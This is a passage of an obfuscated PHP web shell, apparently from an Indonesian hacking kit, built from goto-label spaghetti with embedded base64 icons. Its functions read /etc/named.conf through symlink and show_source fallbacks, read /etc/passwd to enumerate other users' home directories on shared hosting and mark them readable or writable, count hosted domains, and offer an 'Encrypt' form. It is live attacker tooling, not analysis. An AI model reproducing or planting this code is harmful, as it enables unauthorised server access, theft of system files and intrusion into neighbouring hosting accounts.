\xa\x9			<input type="submit" name="encrypt" class="btn btn-danger btn-block" value="Encrypt"/>\xd\xa			</div>\xd\xa		</form>"; } exit; } goto CaV21; Il_fQ: $path = str_replace("\", "/", $path); goto hn1q4; ZCeW1: function w($dir, $perm) { if (!is_writable($dir)) { return "<font color='red'>" . $perm . "</font>"; } else { return "<font color='lime'>" . $perm . "</font>"; } } goto RZJj2; hWdMx: if (isset($_GET["about"])) { about(); } goto ML2sV; GGZ6U: $imgfile = "<img src='data:image/png;base64,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' class='ico2'></img>"; goto Hn4Nw; UGR7W: $nfile = basename($file); goto cqr2q; ibkH5: $os = php_uname(); goto kD39o; S0OC8: if ($_GET["aksi"] == "edit") { editFile($dir, $file, $nfile, $imgfile); } goto Kt0bP; ADDCP: $mail = function_exists("mail") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto pSA_Z; nTsOG: $default_charset = "UTF-8"; goto zRAIO; TyPNd: if (isset($_GET["keluar"])) { goto UqAi4; wKd1c: session_destroy(); goto pkoLE; pkoLE: echo "<script>window.location="?";</script>"; goto rje34; UqAi4: session_start(); goto wKd1c; rje34: } goto Ion9F; SnXTb: $imgfol = "<img src='data:image/png;base64,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' class='ico'></img>"; goto GGZ6U; WLipb: function aksiSymread($dir, $file) { goto AScRR; AScRR: echo "read /etc/named.conf
	<form method='post' action='?dir={$dir}&aksi=symread&save=1'>\xd\xa\x9<textarea class='form-control' rows='13' name='file'>"; goto byp83; ypqLT: $r3ad = @fopen($file, "r"); goto ou4UD; X5DVl: flush(); goto VXo7z; crArn: echo "</textarea><br/><input type='submit' class='btn btn-danger form-control' value='Save'/> </form>"; goto z1Rje; VXo7z: $file = "/etc/named.conf"; goto ypqLT; z1Rje: if (isset($_GET["save"])) { goto FjsGB; l1fTl: $f = fopen("named.txt", "w"); goto vV41M; FjsGB: $cont = stripcslashes($_POST["file"]); goto l1fTl; vV41M: $w = fwrite($f, $cont); goto NrWHE; NrWHE: if ($w) { echo "<br/>save has been successfully"; } goto SO8bN; SO8bN: fclose($f); goto KcZki; KcZki: } goto smWwA; ou4UD: if ($r3ad) { $content = @fread($r3ad, @filesize($file)); echo '' . htmlentities($content) . ''; } else { if (!$r3ad) { $r3ad = @show_source($file); } else { if (!$r3ad) { $r3ad = @highlight_file($file); } else { if (!$r3ad) { $sm = @symlink($file, "sym.txt"); if ($sm) { goto zC9fP; zC9fP: $r3ad = @fopen("indosec_sym/sym.txt", "r"); goto F6LlO; F6LlO: $content = @fread($r3ad, @filesize($file)); goto lu64w; lu64w: echo '' . htmlentities($content) . ''; goto Y_AY2; Y_AY2: } } } } } goto crArn; smWwA: exit; goto zLd1j; byp83: flush(); goto X5DVl; zLd1j: } goto lGLyr; ecDhJ: if (!$d0mains) { $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { goto mWHyP; mWHyP: $count = 0; goto m2pki; C1dek: $dom = "{$count} Domain"; goto YG1fX; m2pki: foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { goto rn_nC; oeskc: if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } goto KTNiv; rn_nC: preg_match_all("#zone "(.*)"#", $d0main, $domains); goto VVN0X; VVN0X: flush(); goto oeskc; KTNiv: } } goto C1dek; YG1fX: } goto POaEb; OBiJL: function aksiJump($dir, $file, $ip) { goto K3e5g; cdtEi: echo "<div class='card container'>"; goto fyJ0f; K3e5g: $i = 0; goto cdtEi; fyJ0f: if (preg_match("/hsphere/", $dir)) { $urls = explode("
", $_POST["url"]); if (isset($_POST["jump"])) { goto SbzXS; BbbRa: echo "</pre>"; goto OLNLA; SbzXS: echo "<pre>"; goto et_k3; SWDCa: if (!$i == 0) { echo "<br>Total ada {$i} KAMAR di {$ip}"; } goto BbbRa; et_k3: foreach ($urls as $url) { goto WETkP; LPRla: while ($gets = fgets($f)) { $pecah = explode(":", $gets); $user = $pecah[0]; $dir_user = "/hsphere/local/home/{$user}"; if (is_dir($dir_user) === true) { $url_user = $dir_user . "/" . $url; if (is_readable($url_user)) { goto Yx4as; Yx4as: $i++; goto iXRIe; SKZ5J: echo $jrw . "<br>"; goto htNmc; iXRIe: $jrw = "[<font color=green>R</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; goto y_v5A; y_v5A: if (is_writable($url_user)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; } goto SKZ5J; htNmc: } } } goto xL_hd; UoO4D: $etc = "/etc/passwd"; goto pwi1u; pwi1u: $f = fopen($etc, "r"); goto LPRla; WETkP: $url = str_replace(array("http://", "www."), '', strtolower($url)); goto UoO4D; xL_hd: } goto SWDCa; OLNLA: } else { goto noSn3; icM62: echo "</textarea><br>
\xa			\x9\x9  <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
\xa		\x9</form></center>"; goto MmXi_; L_Oga: while ($getss = fgets($fp)) { echo $getss; } goto icM62; Cio94: $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt", "r"); goto L_Oga; noSn3: echo "<center><form method="post">\xd
	\x9\x9	List Domains: <br>
